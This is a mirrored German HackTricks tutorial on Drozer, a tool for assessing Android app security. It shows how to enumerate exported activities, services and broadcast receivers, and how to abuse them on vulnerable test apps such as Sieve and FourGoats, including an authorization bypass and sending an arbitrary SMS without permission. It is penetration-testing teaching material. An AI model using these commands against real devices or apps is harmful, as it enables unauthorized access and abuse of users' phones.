mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
256 lines
12 KiB
Markdown
256 lines
12 KiB
Markdown
# Drozer Tutorial
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
|
|
|
|
## APKs zum Testen
|
|
|
|
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (von mrwlabs)
|
|
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
|
|
|
|
**Teile dieses Tutorials wurden aus der** [**Drozer-Dokumentation pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** extrahiert.**
|
|
|
|
## Installation
|
|
|
|
Installieren Sie den Drozer-Client auf Ihrem Host. Laden Sie ihn von den [neuesten Versionen](https://github.com/mwrlabs/drozer/releases) herunter.
|
|
```bash
|
|
pip install drozer-2.4.4-py2-none-any.whl
|
|
pip install twisted
|
|
pip install service_identity
|
|
```
|
|
Laden Sie die drozer APK von den [neueste Versionen](https://github.com/mwrlabs/drozer/releases) herunter und installieren Sie sie. Im Moment ist es [dieses](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
|
|
```bash
|
|
adb install drozer.apk
|
|
```
|
|
### Starten des Servers
|
|
|
|
Der Agent läuft auf Port 31415, wir müssen [Port-Forwarding](https://en.wikipedia.org/wiki/Port_forwarding) einrichten, um die Kommunikation zwischen dem Drozer-Client und dem Agenten herzustellen. Hier ist der Befehl dazu:
|
|
```bash
|
|
adb forward tcp:31415 tcp:31415
|
|
```
|
|
Starten Sie schließlich die **Anwendung** und drücken Sie die Schaltfläche "**EIN**"
|
|
|
|
.png>)
|
|
|
|
Und verbinden Sie sich damit:
|
|
```bash
|
|
drozer console connect
|
|
```
|
|
## Interessante Befehle
|
|
|
|
| **Befehle** | **Beschreibung** |
|
|
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
|
| **Help MODULE** | Zeigt die Hilfe des ausgewählten Moduls |
|
|
| **list** | Zeigt eine Liste aller drozer-Module, die in der aktuellen Sitzung ausgeführt werden können. Dies blendet Module aus, für die Sie nicht die entsprechenden Berechtigungen haben. |
|
|
| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät im Kontext des Agenten. |
|
|
| **clean** | Entfernt temporäre Dateien, die von drozer auf dem Android-Gerät gespeichert wurden. |
|
|
| **load** | Lädt eine Datei mit drozer-Befehlen und führt sie nacheinander aus. |
|
|
| **module** | Findet und installiert zusätzliche drozer-Module aus dem Internet. |
|
|
| **unset** | Entfernt eine benannte Variable, die drozer an alle Linux-Shells übergibt, die es startet. |
|
|
| **set** | Speichert einen Wert in einer Variablen, die als Umgebungsvariable an alle von drozer gestarteten Linux-Shells übergeben wird. |
|
|
| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät im Kontext des Agenten. |
|
|
| **run MODULE** | Führt ein drozer-Modul aus |
|
|
| **exploit** | Drozer kann Exploits erstellen, die im Gerät ausgeführt werden. `drozer exploit list` |
|
|
| **payload** | Die Exploits benötigen eine Payload. `drozer payload list` |
|
|
|
|
### Paket
|
|
|
|
Finden Sie den **Namen** des Pakets, indem Sie nach einem Teil des Namens filtern:
|
|
```bash
|
|
dz> run app.package.list -f sieve
|
|
com.mwr.example.sieve
|
|
```
|
|
**Grundinformationen** des Pakets:
|
|
```bash
|
|
dz> run app.package.info -a com.mwr.example.sieve
|
|
Package: com.mwr.example.sieve
|
|
Process Name: com.mwr.example.sieve
|
|
Version: 1.0
|
|
Data Directory: /data/data/com.mwr.example.sieve
|
|
APK Path: /data/app/com.mwr.example.sieve-2.apk
|
|
UID: 10056
|
|
GID: [1028, 1015, 3003]
|
|
Shared Libraries: null
|
|
Shared User ID: null
|
|
Uses Permissions:
|
|
- android.permission.READ_EXTERNAL_STORAGE
|
|
- android.permission.WRITE_EXTERNAL_STORAGE
|
|
- android.permission.INTERNET
|
|
Defines Permissions:
|
|
- com.mwr.example.sieve.READ_KEYS
|
|
- com.mwr.example.sieve.WRITE_KEYS
|
|
```
|
|
Lese **Manifest**:
|
|
```bash
|
|
run app.package.manifest jakhar.aseem.diva
|
|
```
|
|
**Angriffsfläche** des Pakets:
|
|
```bash
|
|
dz> run app.package.attacksurface com.mwr.example.sieve
|
|
Attack Surface:
|
|
3 activities exported
|
|
0 broadcast receivers exported
|
|
2 content providers exported
|
|
2 services exported
|
|
is debuggable
|
|
```
|
|
- **Aktivitäten**: Vielleicht kannst du eine Aktivität starten und eine Art von Autorisierung umgehen, die dich daran hindern sollte, sie zu starten.
|
|
- **Inhaltsanbieter**: Vielleicht kannst du auf private Daten zugreifen oder eine Schwachstelle ausnutzen (SQL-Injection oder Path Traversal).
|
|
- **Dienste**:
|
|
- **is debuggable**: [Learn more](./#is-debuggeable)
|
|
|
|
### Aktivitäten
|
|
|
|
Der Wert des exportierten Aktivitätskomponenten “android:exported” ist im AndroidManifest.xml-Datei auf **“true”** gesetzt:
|
|
```markup
|
|
<activity android:name="com.my.app.Initial" android:exported="true">
|
|
</activity>
|
|
```
|
|
**Liste der exportierten Aktivitäten**:
|
|
```bash
|
|
dz> run app.activity.info -a com.mwr.example.sieve
|
|
Package: com.mwr.example.sieve
|
|
com.mwr.example.sieve.FileSelectActivity
|
|
com.mwr.example.sieve.MainLoginActivity
|
|
com.mwr.example.sieve.PWList
|
|
```
|
|
**Start activity**:
|
|
|
|
Vielleicht kannst du eine Aktivität starten und eine Art von Autorisierung umgehen, die dich daran hindern sollte, sie zu starten.
|
|
```bash
|
|
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
|
|
```
|
|
Sie können auch eine exportierte Aktivität von **adb** starten:
|
|
|
|
- PackageName ist com.example.demo
|
|
- Exported ActivityName ist com.example.test.MainActivity
|
|
```bash
|
|
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
|
```
|
|
### Content Providers
|
|
|
|
Dieser Beitrag war zu groß, um hier zu sein, also **kannst du** [**darauf auf seiner eigenen Seite hier zugreifen**](exploiting-content-providers.md).
|
|
|
|
### Services
|
|
|
|
Ein exportierter Dienst wird in der Manifest.xml deklariert:
|
|
```markup
|
|
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
|
```
|
|
Im Code **überprüfen** Sie die \*\*`handleMessage`\*\* Funktion, die die **Nachricht** **empfängt**:
|
|
|
|
.png>)
|
|
|
|
#### Listendienst
|
|
```bash
|
|
dz> run app.service.info -a com.mwr.example.sieve
|
|
Package: com.mwr.example.sieve
|
|
com.mwr.example.sieve.AuthService
|
|
Permission: null
|
|
com.mwr.example.sieve.CryptoService
|
|
Permission: null
|
|
```
|
|
#### **Interagieren** Sie mit einem Dienst
|
|
```bash
|
|
app.service.send Send a Message to a service, and display the reply
|
|
app.service.start Start Service
|
|
app.service.stop Stop Service
|
|
```
|
|
#### Beispiel
|
|
|
|
Schau dir die **drozer** Hilfe für `app.service.send` an:
|
|
|
|
.png>)
|
|
|
|
Beachte, dass du zuerst die Daten in "_msg.what_" sendest, dann "_msg.arg1_" und "_msg.arg2_", du solltest im Code **überprüfen, welche Informationen verwendet werden** und wo.\
|
|
Mit der Option `--extra` kannst du etwas senden, das von "_msg.replyTo_" interpretiert wird, und mit `--bundle-as-obj` erstellst du ein Objekt mit den bereitgestellten Details.
|
|
|
|
Im folgenden Beispiel:
|
|
|
|
- `what == 2354`
|
|
- `arg1 == 9234`
|
|
- `arg2 == 1`
|
|
- `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
|
|
```bash
|
|
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
|
|
```
|
|
.png>)
|
|
|
|
### Broadcast-Empfänger
|
|
|
|
**Im Abschnitt über grundlegende Android-Informationen können Sie sehen, was ein Broadcast-Empfänger ist**.
|
|
|
|
Nachdem Sie diese Broadcast-Empfänger entdeckt haben, sollten Sie **den Code** von ihnen überprüfen. Achten Sie besonders auf die **`onReceive`**-Funktion, da sie die empfangenen Nachrichten verarbeitet.
|
|
|
|
#### **Alle** Broadcast-Empfänger erkennen
|
|
```bash
|
|
run app.broadcast.info #Detects all
|
|
```
|
|
#### Überprüfen Sie die Broadcast-Receiver einer App
|
|
```bash
|
|
#Check one negative
|
|
run app.broadcast.info -a jakhar.aseem.diva
|
|
Package: jakhar.aseem.diva
|
|
No matching receivers.
|
|
|
|
# Check one positive
|
|
run app.broadcast.info -a com.google.android.youtube
|
|
Package: com.google.android.youtube
|
|
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
|
|
Permission: null
|
|
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
|
|
Permission: com.google.android.c2dm.permission.SEND
|
|
com.google.android.apps.youtube.app.PackageReplacedReceiver
|
|
Permission: null
|
|
com.google.android.libraries.youtube.account.AccountsChangedReceiver
|
|
Permission: null
|
|
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
|
|
Permission: null
|
|
```
|
|
#### Broadcast **Interaktionen**
|
|
```bash
|
|
app.broadcast.info Get information about broadcast receivers
|
|
app.broadcast.send Send broadcast using an intent
|
|
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
|
|
```
|
|
#### Nachricht senden
|
|
|
|
In diesem Beispiel wird der [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider missbraucht, um **eine beliebige SMS** an ein nicht-premium Ziel **ohne Erlaubnis** des Benutzers zu senden.
|
|
|
|
.png>)
|
|
|
|
.png>)
|
|
|
|
Wenn Sie den Code lesen, müssen die Parameter "_phoneNumber_" und "_message_" an den Content Provider gesendet werden.
|
|
```bash
|
|
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
|
|
```
|
|
### Ist debuggeable
|
|
|
|
Eine Produktions-APK sollte niemals debuggeable sein.\
|
|
Das bedeutet, dass Sie einen **Java-Debugger** an die laufende Anwendung anhängen, sie zur Laufzeit inspizieren, Haltepunkte setzen, Schritt für Schritt vorgehen, Variablenwerte sammeln und sogar ändern können. [Das InfoSec Institute hat einen ausgezeichneten Artikel](../exploiting-a-debuggeable-applciation.md) darüber, wie man tiefer gräbt, wenn Ihre Anwendung debuggeable ist und zur Laufzeit Code injiziert.
|
|
|
|
Wenn eine Anwendung debuggeable ist, wird sie im Manifest angezeigt:
|
|
```xml
|
|
<application theme="@2131296387" debuggable="true"
|
|
```
|
|
Sie können alle debugbaren Anwendungen mit **Drozer** finden:
|
|
```bash
|
|
run app.package.debuggable
|
|
```
|
|
## Tutorials
|
|
|
|
- [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
|
|
- [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
|
|
- [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
|
|
- [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)
|
|
|
|
## Mehr Informationen
|
|
|
|
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
|
|
|
|
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|